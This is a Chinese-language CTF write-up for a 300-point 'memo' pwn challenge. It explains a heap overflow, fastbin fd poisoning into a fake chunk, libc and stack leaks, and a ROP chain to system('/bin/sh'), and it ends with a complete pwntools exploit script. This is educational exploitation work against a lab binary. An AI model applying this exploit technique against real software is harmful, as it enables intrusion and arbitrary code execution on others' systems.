Info
Category: pwn Point: 300 Solver: Naetw @ BambooFox
Analyzing
64 bits ELF, Full RELRO, 有 NX, 沒有 canary & PIE
- 一些在這支程式會用到的 global variable:
 
        +-----------------------+
        | idx       |           |  # 之後 leave or edit or delete 會透過這個 global buffer 來存取 index
        |           |           |
        +-----------------------+
        | name      |           |  # Store user name(32 bytes)
        |           |           |
        +-----------------------+
        | password  |           |  # Store user's password
        |           |           |
        +-----------------------+
        | idx0 idx1 | idx2 idx3 |  # Store size of messages( 4 bytes per size of msg )
        +-----------------------+
        | msg0 adr  | msg1 adr  |  # Store address of messages
        | msg2 adr  | msg3 adr  |
        +-----------------------+
這題一開始會問 user name,並存在 global buffer,接著會問要不要設定密碼,密碼長度最大 32 bytes
User name & password 設定好之後有五個選項:
Leave message:
- 首先會問 index,之後如果 size 正確會存入上面提到的 global buffer
 - 接著會問 msg size,如果大於 32 bytes,他只會呼叫 
malloc(32)給你,但是 read 完之後不會存入 global buffer 的 list 之中。這裡有一個 overflow 的漏洞,如果我 size 輸入 100,他雖然只有malloc(32)但是他會 read(0, buf, size),因此後面可以利用這個洞改到其他 chunk struct - 如果 size 小於 32 bytes,在讀完 message 之後會存到上面提到的 list
 
Edit message:
- 這邊會直接用 global buffer 上的 idx 所表示的值來決定要修改哪個 message,因此這邊只能修改最後一次留下的 message
 - read size 是利用 global buffer 上的 size list
 
View message:
- 印出 message 內容
 - 之後會拿來 leak libc address
 
Delete message:
- 一開始會問 index,但是並沒有做 0~4 的檢查,所以前面的 name or password 可以任意構造 address 來達到任意 
free,不過這裡我不是利用這個方法。利用這個方法可參考 Angelboy 學長 free完之後,global list 會清成 0,因此沒有 UAF
Change password:
- 可以修改密碼,但是這邊我沒有用到,便不細說
 
Quit:
puts後 return,後面會利用這邊的 return 跳到 ROP
Exploit
前面名字隨便亂取,但是密碼稍微構造一下:
0x602a40:       0x4141414141414141      0x4141414141414141
0x602a50:       0x4141414141414141      0x0000000000000030
0x602a58的0x30是為了後面 overwrite fastbin 的時候,讓malloc(32)return0x602a60之後就可以做任意 leak 跟 任意 overwrite
接著 leave two messages,index 分別 0 and 1,size 都給 32,之後 global buffer 長這樣:
0x602a40:       0x4141414141414141      0x4141414141414141
0x602a50:       0x4141414141414141      0x0000000000000030
0x602a60:       0x0000002000000020      0x0000000000000000
0x602a70:       0x0000000000d41010      0x0000000000d41040
0x602a60的前 4 bytes 是 index0 msg size,後 4 bytes 就是 index1 msg size0x602a70存的就是 index0 msg address,0x602a78存的則是 index1 msg address
之後就要來 overflow,要達到任意 malloc 一塊空間,需要 overflow 一個已經 free 過的 fastbin chunk,由於 fastbin list 是 LIFO,因此先將 index1 msg free 掉,接著 free index0 msg,之後再來利用前面提到 size 超過 32 的 overflow,size 給他個 400,這樣他還是會 call malloc(32),因此我們依舊能拿到跟先前 index0 msg 同一塊 chunk
這時候我們有 overflow 可以把 index1 msg struct 改寫掉,這邊我們是改寫他的 fd 這樣之後先 malloc 一次把正常的 chunk 拿走,第二次就會拿到我們填的 fd 的位置
overflow 過的 layout:
0xd41000:       0x0000000000000000      0x0000000000000031  # Original index0 msg chunk
0xd41010:       0x4141414141414141      0x4141414141414141
0xd41020:       0x4141414141414141      0x4141414141414141
0xd41030:       0x0000000000000000      0x0000000000000031  # Original index1 msg chunk
0xd41040:       0x0000000000602a50      0x000000000000000a  # 0x602a50 - fake chunk by password
0xd41050:       0x0000000000000000      0x0000000000000000
0xd41060:       0x0000000000000000      0x0000000000020fa1
因為 malloc 會檢查 chunk size 是不是符合同一個 fastbin 的 size,所以前面 password 裡面的 0x30 就派上用場了,如此一來第二次的 malloc 可以通過檢查讓我們可以拿到 0x602a60,接著因為這個 chunk data 的開頭是 size_list 所以稍微構造一下 input,把 size 從 32 調大,順便擺上某個 function 的 got.plt,size 是為了後面疊 ROP 的時候比較方便,got.plt 則是拿來 leak libc function,底下是 layout:
0x602a40:       0x4141414141414141      0x4141414141414141
0x602a50:       0x4141414141414141      0x0000000000000030
0x602a60:       0x000000f0000000f0      0x00000020000000f0
0x602a70:       0x0000000000601fb0      0x000000000000000a
0x602a80:       0x0000000000000000      0x0000000000602a60
- 這邊把假 chunk 放在 index3 這樣可以一次利用到 0~2
 - index3 size 因為 leave 最後面的行為會把 
0xf0蓋掉改回0x20不過沒關係後面會進行一次edit會把他改寫回來 
接著就可以利用 view(0),來 leak 0x601fb0 也就是 __libc_start_main 的 libc address,拿到之後,利用一次 edit 把 size 改回 0xf0 順便把 0x601fb0 換成 environ 的位置,來 leak stack address(environ 是一個在 libc 裡面的一個 symbol,他裡面存著 stack address 指到 char** envp):
0x602a40:       0x4141414141414141      0x4141414141414141
0x602a50:       0x4141414141414141      0x0000000000000030
0x602a60:       0x000000f0000000f0      0x000000f0000000f0
0x602a70:       0x00007fb71186af98      0x000000000000000a
0x602a80:       0x0000000000000000      0x0000000000602a60
一樣利用 view(0) 來 leak stack address,算一下跟 main 的 return address 位置的 offset,之後,再次利用 edit 不過這次是要 overwrite 0x602a88 位置,也就是 index3 message 的位置,把它改成 main return address 的位置,這樣再次 edit 就可以疊 ROP,疊完就選擇 Quit 便會跳到剛剛疊的 ROP 上,這次 ROP 很簡單,從 libc 裡面找一個 gadget pop_rdi_ret 然後 sh 字串也是從 libc 裡面找,接著直接跳到 system,成功開 shell !
改成 stack address 的 layout + ROP:
0x602a40:       0x4141414141414141      0x4141414141414141
0x602a50:       0x4141414141414141      0x0000000000000030
0x602a60:       0x000000f0000000f0      0x000000f0000000f0
0x602a70:       0x4141414141414141      0x4141414141414141
0x602a80:       0x4141414141414141      0x00007ffda8984928  # stack address
ROP:
sh = base + next(libc.search('/bin/sh\x00'))
system = base + libc.symbols['system']
pop_rdi =  base + 0x0000000000021102
payload = p64(pop_rdi) + p64(sh) + p64(system)
edit(payload)
Final Exploit:
#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys
reip = '54.202.7.144'
report = 8888
r = process('./memo-patch')
#r = remote(reip, report)
# Setup name & pw
r.recvuntil("What's user name:")
r.sendline('nae')
r.recvuntil('Do you wanna set password? (y/n)')
r.sendline('y')
r.recvuntil('Password:')
r.sendline('A'*24 + p64(0x30))
def leave(idx, length, payload, overflow=False):
    r.recvuntil('>>')
    r.sendline('1')
    r.recvuntil('Index:')
    r.sendline(str(idx))
    r.recvuntil('Length:')
    r.sendline(str(length))
    if not overflow:
        r.recvuntil('Message:')
    else:
        r.recvuntil('message too long, you can leave on memo though')
    r.sendline(payload)
def delete(idx):
    r.recvuntil('>>')
    r.sendline('4')
    r.recvuntil('Index:')
    r.sendline(str(idx))
def view(idx):
    r.recvuntil('>>')
    r.sendline('3')
    r.recvuntil('Index:')
    r.sendline(str(idx))
def edit(payload):
    r.recvuntil('>>')
    r.sendline('2')
    r.recvuntil('Edit message:')
    r.send(payload)
global_size = 0x602a60
libc_start_main_got = 0x601fb0
libc = ELF('bc.so.6')
leave(0, 32, 'A'*8)
leave(1, 32, 'B'*8)
# Overflow
delete(1)
delete(0)
payload = ('A'*32 + p64(0) + p64(0x31) + # Restore chunk struct
        p64(global_size-0x10))           # Fake fd
leave(0, 400, payload, True)
leave(0, 32, 'A'*4)                      # malloc garbage
fix_size_payload = '\xf0'.ljust(4, '\x00')*4
payload = fix_size_payload + p64(libc_start_main_got)
leave(3, 32, payload)                    # Get the chunk in global
# Leak libc base
view(0)
r.recvuntil('View Message: ')
base = u64(r.recvline()[:-1] + '\x00'*2) - libc.symbols['__libc_start_main']
log.success('base : {}'.format(hex(base)))
# Leak stack address
payload = fix_size_payload + p64(base + libc.symbols['environ'])
edit(payload)
view(0)
r.recvuntil('View Message: ')
stack = u64(r.recvline()[:-1] + '\x00'*2) - 0xf0
log.success('stack : {}'.format(hex(stack)))
# Exploit
payload = fix_size_payload + 'A'*24 + p64(stack)
edit(payload)
sh = base + next(libc.search('/bin/sh\x00'))
system = base + libc.symbols['system']
pop_rdi =  base + 0x0000000000021102
payload = p64(pop_rdi) + p64(sh) + p64(system)
edit(payload)
# Return to ROP
r.recvuntil('>>')
r.sendline('6')
r.interactive()
FLAG: bkp{you are a talented and ambitious hacker}